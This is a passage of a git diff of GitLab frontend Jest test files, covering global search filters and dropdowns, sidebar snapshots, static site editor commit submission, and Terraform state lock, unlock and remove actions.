describe('resetQuery', () => {
it('calls visitUrl and setParams with empty values', () => {
- testAction(actions.resetQuery, null, state, [], [], () => {
- expect(setUrlParams).toHaveBeenCalledWith({
+ return testAction(actions.resetQuery, null, state, [], [], () => {
+ expect(urlUtils.setUrlParams).toHaveBeenCalledWith({
...state.query,
page: null,
state: null,
confidential: null,
});
- expect(visitUrl).toHaveBeenCalled();
+ expect(urlUtils.visitUrl).toHaveBeenCalled();
});
});
});
});
-
-describe('setQuery', () => {
- const payload = { key: 'key1', value: 'value1' };
-
- it('calls the SET_QUERY mutation', done => {
- testAction(actions.setQuery, payload, state, [{ type: types.SET_QUERY, payload }], [], done);
- });
-});
diff --git a/spec/frontend/search/store/mutations_spec.js b/spec/frontend/search/store/mutations_spec.js
index 28d9646b97e..560ed66263b 100644
--- a/spec/frontend/search/store/mutations_spec.js
+++ b/spec/frontend/search/store/mutations_spec.js
@@ -1,7 +1,7 @@
import mutations from '~/search/store/mutations';
import createState from '~/search/store/state';
import * as types from '~/search/store/mutation_types';
-import { MOCK_QUERY, MOCK_GROUPS } from '../mock_data';
+import { MOCK_QUERY, MOCK_GROUPS, MOCK_PROJECTS } from '../mock_data';
describe('Global Search Store Mutations', () => {
let state;
@@ -36,6 +36,32 @@ describe('Global Search Store Mutations', () => {
});
});
+ describe('REQUEST_PROJECTS', () => {
+ it('sets fetchingProjects to true', () => {
+ mutations[types.REQUEST_PROJECTS](state);
+
+ expect(state.fetchingProjects).toBe(true);
+ });
+ });
+
+ describe('RECEIVE_PROJECTS_SUCCESS', () => {
+ it('sets fetchingProjects to false and sets projects', () => {
+ mutations[types.RECEIVE_PROJECTS_SUCCESS](state, MOCK_PROJECTS);
+
+ expect(state.fetchingProjects).toBe(false);
+ expect(state.projects).toBe(MOCK_PROJECTS);
+ });
+ });
+
+ describe('RECEIVE_PROJECTS_ERROR', () => {
+ it('sets fetchingProjects to false and clears projects', () => {
+ mutations[types.RECEIVE_PROJECTS_ERROR](state);
+
+ expect(state.fetchingProjects).toBe(false);
+ expect(state.projects).toEqual([]);
+ });
+ });
+
describe('SET_QUERY', () => {
const payload = { key: 'key1', value: 'value1' };
diff --git a/spec/frontend/search/topbar/components/group_filter_spec.js b/spec/frontend/search/topbar/components/group_filter_spec.js
new file mode 100644
index 00000000000..017808d576e
--- /dev/null
+++ b/spec/frontend/search/topbar/components/group_filter_spec.js
@@ -0,0 +1,121 @@
+import Vuex from 'vuex';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { MOCK_GROUP, MOCK_QUERY } from 'jest/search/mock_data';
+import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
+import GroupFilter from '~/search/topbar/components/group_filter.vue';
+import SearchableDropdown from '~/search/topbar/components/searchable_dropdown.vue';
+import { ANY_OPTION, GROUP_DATA, PROJECT_DATA } from '~/search/topbar/constants';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ visitUrl: jest.fn(),
+ setUrlParams: jest.fn(),
+}));
+
+describe('GroupFilter', () => {
+ let wrapper;
+
+ const actionSpies = {
+ fetchGroups: jest.fn(),
+ };
+
+ const defaultProps = {
+ initialData: null,
+ };
+
+ const createComponent = (initialState, props) => {
+ const store = new Vuex.Store({
+ state: {
+ query: MOCK_QUERY,
+ ...initialState,
+ },
+ actions: actionSpies,
+ });
+
+ wrapper = shallowMount(GroupFilter, {
+ localVue,
+ store,
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findSearchableDropdown = () => wrapper.find(SearchableDropdown);
+
+ describe('template', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders SearchableDropdown always', () => {
+ expect(findSearchableDropdown().exists()).toBe(true);
+ });
+ });
+
+ describe('events', () => {
+ describe('when @search is emitted', () => {
+ const search = 'test';
+
+ beforeEach(() => {
+ createComponent();
+
+ findSearchableDropdown().vm.$emit('search', search);
+ });
+
+ it('calls fetchGroups with the search paramter', () => {
+ expect(actionSpies.fetchGroups).toHaveBeenCalledTimes(1);
+ expect(actionSpies.fetchGroups).toHaveBeenCalledWith(expect.any(Object), search);
+ });
+ });
+
+ describe('when @change is emitted', () => {
+ beforeEach(() => {
+ createComponent();
+
+ findSearchableDropdown().vm.$emit('change', MOCK_GROUP);
+ });
+
+ it('calls calls setUrlParams with group id, project id null, and visitUrl', () => {
+ expect(setUrlParams).toHaveBeenCalledWith({
+ [GROUP_DATA.queryParam]: MOCK_GROUP.id,
+ [PROJECT_DATA.queryParam]: null,
+ });
+
+ expect(visitUrl).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('computed', () => {
+ describe('selectedGroup', () => {
+ describe('when initialData is null', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('sets selectedGroup to ANY_OPTION', () => {
+ expect(wrapper.vm.selectedGroup).toBe(ANY_OPTION);
+ });
+ });
+
+ describe('when initialData is set', () => {
+ beforeEach(() => {
+ createComponent({}, { initialData: MOCK_GROUP });
+ });
+
+ it('sets selectedGroup to ANY_OPTION', () => {
+ expect(wrapper.vm.selectedGroup).toBe(MOCK_GROUP);
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/search/topbar/components/project_filter_spec.js b/spec/frontend/search/topbar/components/project_filter_spec.js
new file mode 100644
index 00000000000..c1fc61d7e89
--- /dev/null
+++ b/spec/frontend/search/topbar/components/project_filter_spec.js
@@ -0,0 +1,134 @@
+import Vuex from 'vuex';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { MOCK_PROJECT, MOCK_QUERY } from 'jest/search/mock_data';
+import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
+import ProjectFilter from '~/search/topbar/components/project_filter.vue';
+import SearchableDropdown from '~/search/topbar/components/searchable_dropdown.vue';
+import { ANY_OPTION, GROUP_DATA, PROJECT_DATA } from '~/search/topbar/constants';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ visitUrl: jest.fn(),
+ setUrlParams: jest.fn(),
+}));
+
+describe('ProjectFilter', () => {
+ let wrapper;
+
+ const actionSpies = {
+ fetchProjects: jest.fn(),
+ };
+
+ const defaultProps = {
+ initialData: null,
+ };
+
+ const createComponent = (initialState, props) => {
+ const store = new Vuex.Store({
+ state: {
+ query: MOCK_QUERY,
+ ...initialState,
+ },
+ actions: actionSpies,
+ });
+
+ wrapper = shallowMount(ProjectFilter, {
+ localVue,
+ store,
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findSearchableDropdown = () => wrapper.find(SearchableDropdown);
+
+ describe('template', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders SearchableDropdown always', () => {
+ expect(findSearchableDropdown().exists()).toBe(true);
+ });
+ });
+
+ describe('events', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ describe('when @search is emitted', () => {
+ const search = 'test';
+
+ beforeEach(() => {
+ findSearchableDropdown().vm.$emit('search', search);
+ });
+
+ it('calls fetchProjects with the search paramter', () => {
+ expect(actionSpies.fetchProjects).toHaveBeenCalledWith(expect.any(Object), search);
+ });
+ });
+
+ describe('when @change is emitted', () => {
+ describe('with Any', () => {
+ beforeEach(() => {
+ findSearchableDropdown().vm.$emit('change', ANY_OPTION);
+ });
+
+ it('calls setUrlParams with project id, not group id, then calls visitUrl', () => {
+ expect(setUrlParams).toHaveBeenCalledWith({
+ [PROJECT_DATA.queryParam]: ANY_OPTION.id,
+ });
+ expect(visitUrl).toHaveBeenCalled();
+ });
+ });
+
+ describe('with a Project', () => {
+ beforeEach(() => {
+ findSearchableDropdown().vm.$emit('change', MOCK_PROJECT);
+ });
+
+ it('calls setUrlParams with project id, group id, then calls visitUrl', () => {
+ expect(setUrlParams).toHaveBeenCalledWith({
+ [GROUP_DATA.queryParam]: MOCK_PROJECT.namespace_id,
+ [PROJECT_DATA.queryParam]: MOCK_PROJECT.id,
+ });
+ expect(visitUrl).toHaveBeenCalled();
+ });
+ });
+ });
+ });
+
+ describe('computed', () => {
+ describe('selectedProject', () => {
+ describe('when initialData is null', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('sets selectedProject to ANY_OPTION', () => {
+ expect(wrapper.vm.selectedProject).toBe(ANY_OPTION);
+ });
+ });
+
+ describe('when initialData is set', () => {
+ beforeEach(() => {
+ createComponent({}, { initialData: MOCK_PROJECT });
+ });
+
+ it('sets selectedProject to the initialData', () => {
+ expect(wrapper.vm.selectedProject).toBe(MOCK_PROJECT);
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/search/topbar/components/searchable_dropdown_spec.js b/spec/frontend/search/topbar/components/searchable_dropdown_spec.js
new file mode 100644
index 00000000000..c4ebaabbf96
--- /dev/null
+++ b/spec/frontend/search/topbar/components/searchable_dropdown_spec.js
@@ -0,0 +1,167 @@
+import Vuex from 'vuex';
+import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
+import { GlDropdown, GlDropdownItem, GlSearchBoxByType, GlSkeletonLoader } from '@gitlab/ui';
+import { MOCK_GROUPS, MOCK_GROUP, MOCK_QUERY } from 'jest/search/mock_data';
+import SearchableDropdown from '~/search/topbar/components/searchable_dropdown.vue';
+import { ANY_OPTION, GROUP_DATA } from '~/search/topbar/constants';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('Global Search Searchable Dropdown', () => {
+ let wrapper;
+
+ const defaultProps = {
+ headerText: GROUP_DATA.headerText,
+ selectedDisplayValue: GROUP_DATA.selectedDisplayValue,
+ itemsDisplayValue: GROUP_DATA.itemsDisplayValue,
+ loading: false,
+ selectedItem: ANY_OPTION,
+ items: [],
+ };
+
+ const createComponent = (initialState, props, mountFn = shallowMount) => {
+ const store = new Vuex.Store({
+ state: {
+ query: MOCK_QUERY,
+ ...initialState,
+ },
+ });
+
+ wrapper = mountFn(SearchableDropdown, {
+ localVue,
+ store,
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findGlDropdown = () => wrapper.find(GlDropdown);
+ const findGlDropdownSearch = () => findGlDropdown().find(GlSearchBoxByType);
+ const findDropdownText = () => findGlDropdown().find('.dropdown-toggle-text');
+ const findDropdownItems = () => findGlDropdown().findAll(GlDropdownItem);
+ const findDropdownItemsText = () => findDropdownItems().wrappers.map(w => w.text());
+ const findAnyDropdownItem = () => findDropdownItems().at(0);
+ const findFirstGroupDropdownItem = () => findDropdownItems().at(1);
+ const findLoader = () => wrapper.find(GlSkeletonLoader);
+
+ describe('template', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders GlDropdown', () => {
+ expect(findGlDropdown().exists()).toBe(true);
+ });
+
+ describe('findGlDropdownSearch', () => {
+ it('renders always', () => {
+ expect(findGlDropdownSearch().exists()).toBe(true);
+ });
+
+ it('has debounce prop', () => {
+ expect(findGlDropdownSearch().attributes('debounce')).toBe('500');
+ });
+
+ describe('onSearch', () => {
+ const search = 'test search';
+
+ beforeEach(() => {
+ findGlDropdownSearch().vm.$emit('input', search);
+ });
+
+ it('$emits @search when input event is fired from GlSearchBoxByType', () => {
+ expect(wrapper.emitted('search')[0]).toEqual([search]);
+ });
+ });
+ });
+
+ describe('findDropdownItems', () => {
+ describe('when loading is false', () => {
+ beforeEach(() => {
+ createComponent({}, { items: MOCK_GROUPS });
+ });
+
+ it('does not render loader', () => {
+ expect(findLoader().exists()).toBe(false);
+ });
+
+ it('renders an instance for each namespace', () => {
+ const resultsIncludeAny = ['Any'].concat(MOCK_GROUPS.map(n => n.full_name));
+ expect(findDropdownItemsText()).toStrictEqual(resultsIncludeAny);
+ });
+ });
+
+ describe('when loading is true', () => {
+ beforeEach(() => {
+ createComponent({}, { loading: true, items: MOCK_GROUPS });
+ });
+
+ it('does render loader', () => {
+ expect(findLoader().exists()).toBe(true);
+ });
+
+ it('renders only Any in dropdown', () => {
+ expect(findDropdownItemsText()).toStrictEqual(['Any']);
+ });
+ });
+
+ describe('when item is selected', () => {
+ beforeEach(() => {
+ createComponent({}, { items: MOCK_GROUPS, selectedItem: MOCK_GROUPS[0] });
+ });
+
+ it('marks the dropdown as checked', () => {
+ expect(findFirstGroupDropdownItem().attributes('ischecked')).toBe('true');
+ });
+ });
+ });
+
+ describe('Dropdown Text', () => {
+ describe('when selectedItem is any', () => {
+ beforeEach(() => {
+ createComponent({}, {}, mount);
+ });
+
+ it('sets dropdown text to Any', () => {
+ expect(findDropdownText().text()).toBe(ANY_OPTION.name);
+ });
+ });
+
+ describe('selectedItem is set', () => {
+ beforeEach(() => {
+ createComponent({}, { selectedItem: MOCK_GROUP }, mount);
+ });
+
+ it('sets dropdown text to the selectedItem selectedDisplayValue', () => {
+ expect(findDropdownText().text()).toBe(MOCK_GROUP[GROUP_DATA.selectedDisplayValue]);
+ });
+ });
+ });
+ });
+
+ describe('actions', () => {
+ beforeEach(() => {
+ createComponent({}, { items: MOCK_GROUPS });
+ });
+
+ it('clicking "Any" dropdown item $emits @change with ANY_OPTION', () => {
+ findAnyDropdownItem().vm.$emit('click');
+
+ expect(wrapper.emitted('change')[0]).toEqual([ANY_OPTION]);
+ });
+
+ it('clicking result dropdown item $emits @change with result', () => {
+ findFirstGroupDropdownItem().vm.$emit('click');
+
+ expect(wrapper.emitted('change')[0]).toEqual([MOCK_GROUPS[0]]);
+ });
+ });
+});
diff --git a/spec/frontend/search_spec.js b/spec/frontend/search_spec.js
index cbbc2df6c78..d234a7fccb9 100644
--- a/spec/frontend/search_spec.js
+++ b/spec/frontend/search_spec.js
@@ -1,6 +1,4 @@
-import $ from 'jquery';
import setHighlightClass from 'ee_else_ce/search/highlight_blob_search_result';
-import Api from '~/api';
import Search from '~/pages/search/show/search';
jest.mock('~/api');
@@ -8,13 +6,6 @@ jest.mock('ee_else_ce/search/highlight_blob_search_result');
describe('Search', () => {
const fixturePath = 'search/show.html';
- const searchTerm = 'some search';
- const fillDropdownInput = dropdownSelector => {
- const dropdownElement = document.querySelector(dropdownSelector).parentNode;
- const inputElement = dropdownElement.querySelector('.dropdown-input-field');
- inputElement.value = searchTerm;
- return inputElement;
- };
preloadFixtures(fixturePath);
@@ -29,20 +20,4 @@ describe('Search', () => {
expect(setHighlightClass).toHaveBeenCalled();
});
});
-
- describe('dropdown behavior', () => {
- beforeEach(() => {
- loadFixtures(fixturePath);
- new Search(); // eslint-disable-line no-new
- });
-
- it('requests projects from backend when filtering', () => {
- jest.spyOn(Api, 'projects').mockImplementation(term => {
- expect(term).toBe(searchTerm);
- });
- const inputElement = fillDropdownInput('.js-search-project-dropdown');
-
- $(inputElement).trigger('input');
- });
- });
});
diff --git a/spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap b/spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap
index 11ab1ca3aaa..2367667544d 100644
--- a/spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap
+++ b/spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap
@@ -10,7 +10,6 @@ exports[`Confidential Issue Sidebar Block renders for confidential = false and i
title="Not confidential"
>
<gl-icon-stub
- aria-hidden="true"
name="eye"
size="16"
/>
@@ -35,7 +34,6 @@ exports[`Confidential Issue Sidebar Block renders for confidential = false and i
data-testid="not-confidential"
>
<gl-icon-stub
- aria-hidden="true"
class="sidebar-item-icon inline"
name="eye"
size="16"
@@ -58,7 +56,6 @@ exports[`Confidential Issue Sidebar Block renders for confidential = false and i
title="Not confidential"
>
<gl-icon-stub
- aria-hidden="true"
name="eye"
size="16"
/>
@@ -91,7 +88,6 @@ exports[`Confidential Issue Sidebar Block renders for confidential = false and i
data-testid="not-confidential"
>
<gl-icon-stub
- aria-hidden="true"
class="sidebar-item-icon inline"
name="eye"
size="16"
@@ -114,7 +110,6 @@ exports[`Confidential Issue Sidebar Block renders for confidential = true and is
title="Confidential"
>
<gl-icon-stub
- aria-hidden="true"
name="eye-slash"
size="16"
/>
@@ -138,7 +133,6 @@ exports[`Confidential Issue Sidebar Block renders for confidential = true and is
class="value sidebar-item-value hide-collapsed"
>
<gl-icon-stub
- aria-hidden="true"
class="sidebar-item-icon inline is-active"
name="eye-slash"
size="16"
@@ -161,7 +155,6 @@ exports[`Confidential Issue Sidebar Block renders for confidential = true and is
title="Confidential"
>
<gl-icon-stub
- aria-hidden="true"
name="eye-slash"
size="16"
/>
@@ -193,7 +186,6 @@ exports[`Confidential Issue Sidebar Block renders for confidential = true and is
class="value sidebar-item-value hide-collapsed"
>
<gl-icon-stub
- aria-hidden="true"
class="sidebar-item-icon inline is-active"
name="eye-slash"
size="16"
diff --git a/spec/frontend/sidebar/__snapshots__/todo_spec.js.snap b/spec/frontend/sidebar/__snapshots__/todo_spec.js.snap
index 6640c0844e2..e295c587d70 100644
--- a/spec/frontend/sidebar/__snapshots__/todo_spec.js.snap
+++ b/spec/frontend/sidebar/__snapshots__/todo_spec.js.snap
@@ -4,13 +4,8 @@ exports[`SidebarTodo template renders component container element with proper da
<button
aria-label="Mark as done"
class="btn btn-default btn-todo issuable-header-btn float-right"
- data-boundary="viewport"
- data-container="body"
data-issuable-id="1"
data-issuable-type="epic"
- data-original-title=""
- data-placement="left"
- title=""
type="button"
>
<gl-icon-stub
diff --git a/spec/frontend/sidebar/issuable_assignees_spec.js b/spec/frontend/sidebar/issuable_assignees_spec.js
index 076616de040..af4dc315aad 100644
--- a/spec/frontend/sidebar/issuable_assignees_spec.js
+++ b/spec/frontend/sidebar/issuable_assignees_spec.js
@@ -26,8 +26,8 @@ describe('IssuableAssignees', () => {
createComponent();
});
- it('renders "None"', () => {
- expect(findEmptyAssignee().text()).toBe('None');
+ it('renders "None - assign yourself"', () => {
+ expect(findEmptyAssignee().text()).toBe('None - assign yourself');
});
});
@@ -38,4 +38,12 @@ describe('IssuableAssignees', () => {
expect(findUncollapsedAssigneeList().exists()).toBe(true);
});
});
+
+ describe('when clicking "assign yourself"', () => {
+ it('emits "assign-self"', () => {
+ createComponent();
+ wrapper.find('[data-testid="assign-yourself"]').vm.$emit('click');
+ expect(wrapper.emitted('assign-self')).toHaveLength(1);
+ });
+ });
});
diff --git a/spec/frontend/sidebar/sidebar_labels_spec.js b/spec/frontend/sidebar/sidebar_labels_spec.js
index 36d1e129b6a..ab08a1e65e2 100644
--- a/spec/frontend/sidebar/sidebar_labels_spec.js
+++ b/spec/frontend/sidebar/sidebar_labels_spec.js
@@ -3,7 +3,7 @@ import {
mockLabels,
mockRegularLabel,
} from 'jest/vue_shared/components/sidebar/labels_select_vue/mock_data';
-import updateIssueLabelsMutation from '~/boards/queries/issue_set_labels.mutation.graphql';
+import updateIssueLabelsMutation from '~/boards/graphql/issue_set_labels.mutation.graphql';
import { MutationOperationMode } from '~/graphql_shared/utils';
import { IssuableType } from '~/issue_show/constants';
import SidebarLabels from '~/sidebar/components/labels/sidebar_labels.vue';
diff --git a/spec/frontend/static_site_editor/components/edit_area_spec.js b/spec/frontend/static_site_editor/components/edit_area_spec.js
index 247aff57c1a..ed33f93ec51 100644
--- a/spec/frontend/static_site_editor/components/edit_area_spec.js
+++ b/spec/frontend/static_site_editor/components/edit_area_spec.js
@@ -250,4 +250,17 @@ describe('~/static_site_editor/components/edit_area.vue', () => {
expect(wrapper.emitted('submit').length).toBe(1);
});
});
+
+ describe('when RichContentEditor component triggers load event', () => {
+ it('stores formatted markdown provided in the event data', () => {
+ const data = { formattedMarkdown: 'formatted markdown' };
+
+ findRichContentEditor().vm.$emit('load', data);
+
+ // We can access the formatted markdown when submitting changes
+ findPublishToolbar().vm.$emit('submit');
+
+ expect(wrapper.emitted('submit')[0][0]).toMatchObject(data);
+ });
+ });
});
diff --git a/spec/frontend/static_site_editor/pages/home_spec.js b/spec/frontend/static_site_editor/pages/home_spec.js
index d0b72ad0cf0..3e488a950dc 100644
--- a/spec/frontend/static_site_editor/pages/home_spec.js
+++ b/spec/frontend/static_site_editor/pages/home_spec.js
@@ -235,6 +235,7 @@ describe('static_site_editor/pages/home', () => {
describe('when submitting changes succeeds', () => {
const newContent = `new ${content}`;
+ const formattedMarkdown = `formatted ${content}`;
beforeEach(() => {
mutateMock.mockResolvedValueOnce(hasSubmittedChangesMutationPayload).mockResolvedValueOnce({
@@ -243,7 +244,12 @@ describe('static_site_editor/pages/home', () => {
},
});
- buildWrapper({ content: newContent, images });
+ buildWrapper();
+
+ findEditMetaModal().vm.show = jest.fn();
+
+ findEditArea().vm.$emit('submit', { content: newContent, images, formattedMarkdown });
+
findEditMetaModal().vm.$emit('primary', mergeRequestMeta);
return wrapper.vm.$nextTick();
@@ -266,6 +272,7 @@ describe('static_site_editor/pages/home', () => {
variables: {
input: {
content: newContent,
+ formattedMarkdown,
project,
sourcePath,
username,
diff --git a/spec/frontend/static_site_editor/services/submit_content_changes_spec.js b/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
index 5018da7300b..6c2bff6740a 100644
--- a/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
+++ b/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
@@ -9,6 +9,10 @@ import {
SUBMIT_CHANGES_MERGE_REQUEST_ERROR,
TRACKING_ACTION_CREATE_COMMIT,
TRACKING_ACTION_CREATE_MERGE_REQUEST,
+ USAGE_PING_TRACKING_ACTION_CREATE_COMMIT,
+ USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
+ DEFAULT_FORMATTING_CHANGES_COMMIT_MESSAGE,
+ DEFAULT_FORMATTING_CHANGES_COMMIT_DESCRIPTION,
} from '~/static_site_editor/constants';
import generateBranchName from '~/static_site_editor/services/generate_branch_name';
import submitContentChanges from '~/static_site_editor/services/submit_content_changes';
@@ -79,6 +83,36 @@ describe('submitContentChanges', () => {
);
});
+ describe('committing markdown formatting changes', () => {
+ const formattedMarkdown = `formatted ${content}`;
+ const commitPayload = {
+ branch,
+ commit_message: `${DEFAULT_FORMATTING_CHANGES_COMMIT_MESSAGE}\n\n${DEFAULT_FORMATTING_CHANGES_COMMIT_DESCRIPTION}`,
+ actions: [
+ {
+ action: 'update',
+ file_path: sourcePath,
+ content: formattedMarkdown,
+ },
+ ],
+ };
+
+ it('commits markdown formatting changes in a separate commit', () => {
+ return submitContentChanges(buildPayload({ formattedMarkdown })).then(() => {
+ expect(Api.commitMultiple).toHaveBeenCalledWith(projectId, commitPayload);
+ });
+ });
+
+ it('does not commit markdown formatting changes when there are none', () => {
+ return submitContentChanges(buildPayload()).then(() => {
+ expect(Api.commitMultiple.mock.calls).toHaveLength(1);
+ expect(Api.commitMultiple.mock.calls[0][1]).not.toMatchObject({
+ actions: commitPayload.actions,
+ });
+ });
+ });
+ });
+
it('commits the content changes to the branch when creating branch succeeds', () => {
return submitContentChanges(buildPayload()).then(() => {
expect(Api.commitMultiple).toHaveBeenCalledWith(projectId, {
@@ -201,4 +235,26 @@ describe('submitContentChanges', () => {
);
});
});
+
+ describe('sends the correct Usage Ping tracking event', () => {
+ beforeEach(() => {
+ jest.spyOn(Api, 'trackRedisCounterEvent').mockResolvedValue({ data: '' });
+ });
+
+ it('for commiting changes', () => {
+ return submitContentChanges(buildPayload()).then(() => {
+ expect(Api.trackRedisCounterEvent).toHaveBeenCalledWith(
+ USAGE_PING_TRACKING_ACTION_CREATE_COMMIT,
+ );
+ });
+ });
+
+ it('for creating a merge request', () => {
+ return submitContentChanges(buildPayload()).then(() => {
+ expect(Api.trackRedisCounterEvent).toHaveBeenCalledWith(
+ USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
+ );
+ });
+ });
+ });
});
diff --git a/spec/frontend/terraform/components/states_table_actions_spec.js b/spec/frontend/terraform/components/states_table_actions_spec.js
new file mode 100644
index 00000000000..264f4b7939a
--- /dev/null
+++ b/spec/frontend/terraform/components/states_table_actions_spec.js
@@ -0,0 +1,189 @@
+import { GlDropdown, GlModal, GlSprintf } from '@gitlab/ui';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
+import VueApollo from 'vue-apollo';
+import StateActions from '~/terraform/components/states_table_actions.vue';
+import lockStateMutation from '~/terraform/graphql/mutations/lock_state.mutation.graphql';
+import removeStateMutation from '~/terraform/graphql/mutations/remove_state.mutation.graphql';
+import unlockStateMutation from '~/terraform/graphql/mutations/unlock_state.mutation.graphql';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('StatesTableActions', () => {
+ let lockResponse;
+ let removeResponse;
+ let unlockResponse;
+ let wrapper;
+
+ const defaultProps = {
+ state: {
+ id: 'gid/1',
+ name: 'state-1',
+ latestVersion: { downloadPath: '/path' },
+ lockedAt: '2020-10-13T00:00:00Z',
+ },
+ };
+
+ const createMockApolloProvider = () => {
+ lockResponse = jest.fn().mockResolvedValue({ data: { terraformStateLock: { errors: [] } } });
+
+ removeResponse = jest
+ .fn()
+ .mockResolvedValue({ data: { terraformStateDelete: { errors: [] } } });
+
+ unlockResponse = jest
+ .fn()
+ .mockResolvedValue({ data: { terraformStateUnlock: { errors: [] } } });
+
+ return createMockApollo([
+ [lockStateMutation, lockResponse],
+ [removeStateMutation, removeResponse],
+ [unlockStateMutation, unlockResponse],
+ ]);
+ };
+
+ const createComponent = (propsData = defaultProps) => {
+ const apolloProvider = createMockApolloProvider();
+
+ wrapper = shallowMount(StateActions, {
+ apolloProvider,
+ localVue,
+ propsData,
+ stubs: { GlDropdown, GlModal, GlSprintf },
+ });
+
+ return wrapper.vm.$nextTick();
+ };
+
+ const findLockBtn = () => wrapper.find('[data-testid="terraform-state-lock"]');
+ const findUnlockBtn = () => wrapper.find('[data-testid="terraform-state-unlock"]');
+ const findDownloadBtn = () => wrapper.find('[data-testid="terraform-state-download"]');
+ const findRemoveBtn = () => wrapper.find('[data-testid="terraform-state-remove"]');
+ const findRemoveModal = () => wrapper.find(GlModal);
+
+ beforeEach(() => {
+ return createComponent();
+ });
+
+ afterEach(() => {
+ lockResponse = null;
+ removeResponse = null;
+ unlockResponse = null;
+ wrapper.destroy();
+ });
+
+ describe('download button', () => {
+ it('displays a download button', () => {
+ expect(findDownloadBtn().text()).toBe('Download JSON');
+ });
+
+ describe('when state does not have a latestVersion', () => {
+ beforeEach(() => {
+ return createComponent({
+ state: {
+ id: 'gid/1',
+ name: 'state-1',
+ latestVersion: null,
+ },
+ });
+ });
+
+ it('does not display a download button', () => {
+ expect(findDownloadBtn().exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('unlock button', () => {
+ it('displays an unlock button', () => {
+ expect(findUnlockBtn().text()).toBe('Unlock');
+ expect(findLockBtn().exists()).toBe(false);
+ });
+
+ describe('when clicking the unlock button', () => {
+ beforeEach(() => {
+ findUnlockBtn().vm.$emit('click');
+ return wrapper.vm.$nextTick();
+ });
+
+ it('calls the unlock mutation', () => {
+ expect(unlockResponse).toHaveBeenCalledWith({
+ stateID: defaultProps.state.id,
+ });
+ });
+ });
+ });
+
+ describe('lock button', () => {
+ const unlockedProps = {
+ state: {
+ id: 'gid/2',
+ name: 'state-2',
+ latestVersion: null,
+ lockedAt: null,
+ },
+ };
+
+ beforeEach(() => {
+ return createComponent(unlockedProps);
+ });
+
+ it('displays a lock button', () => {
+ expect(findLockBtn().text()).toBe('Lock');
+ expect(findUnlockBtn().exists()).toBe(false);
+ });
+
+ describe('when clicking the lock button', () => {
+ beforeEach(() => {
+ findLockBtn().vm.$emit('click');
+ return wrapper.vm.$nextTick();
+ });
+
+ it('calls the lock mutation', () => {
+ expect(lockResponse).toHaveBeenCalledWith({
+ stateID: unlockedProps.state.id,
+ });
+ });
+ });
+ });
+
+ describe('remove button', () => {
+ it('displays a remove button', () => {
+ expect(findRemoveBtn().text()).toBe(StateActions.i18n.remove);
+ });
+
+ describe('when clicking the remove button', () => {
+ beforeEach(() => {
+ findRemoveBtn().vm.$emit('click');
+ return wrapper.vm.$nextTick();
+ });
+
+ it('displays a remove modal', () => {
+ expect(findRemoveModal().text()).toContain(
+ `You are about to remove the State file ${defaultProps.state.name}`,
+ );
+ });
+
+ describe('when submitting the remove modal', () => {
+ it('does not call the remove mutation when state name is missing', async () => {
+ findRemoveModal().vm.$emit('ok');
+ await wrapper.vm.$nextTick();
+
+ expect(removeResponse).not.toHaveBeenCalledWith();
+ });
+
+ it('calls the remove mutation when state name is present', async () => {
+ await wrapper.setData({ removeConfirmText: defaultProps.state.name });
+
+ findRemoveModal().vm.$emit('ok');
+ await wrapper.vm.$nextTick();
+
+ expect(removeResponse).toHaveBeenCalledWith({
+ stateID: defaultProps.state.id,
+ });
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/terraform/components/states_table_spec.js b/spec/frontend/terraform/components/states_table_spec.js
index 7a8cb19971e..f2b7bc00e5b 100644
--- a/spec/frontend/terraform/components/states_table_spec.js
+++ b/spec/frontend/terraform/components/states_table_spec.js
@@ -1,13 +1,14 @@
import { GlIcon, GlTooltip } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import { useFakeDate } from 'helpers/fake_date';
+import StateActions from '~/terraform/components/states_table_actions.vue';
import StatesTable from '~/terraform/components/states_table.vue';
describe('StatesTable', () => {
let wrapper;
useFakeDate([2020, 10, 15]);
- const propsData = {
+ const defaultProps = {
states: [
{
name: 'state-1',
@@ -37,6 +38,19 @@ describe('StatesTable', () => {
createdByUser: {
name: 'user-3',
},
+ job: {
+ detailedStatus: {
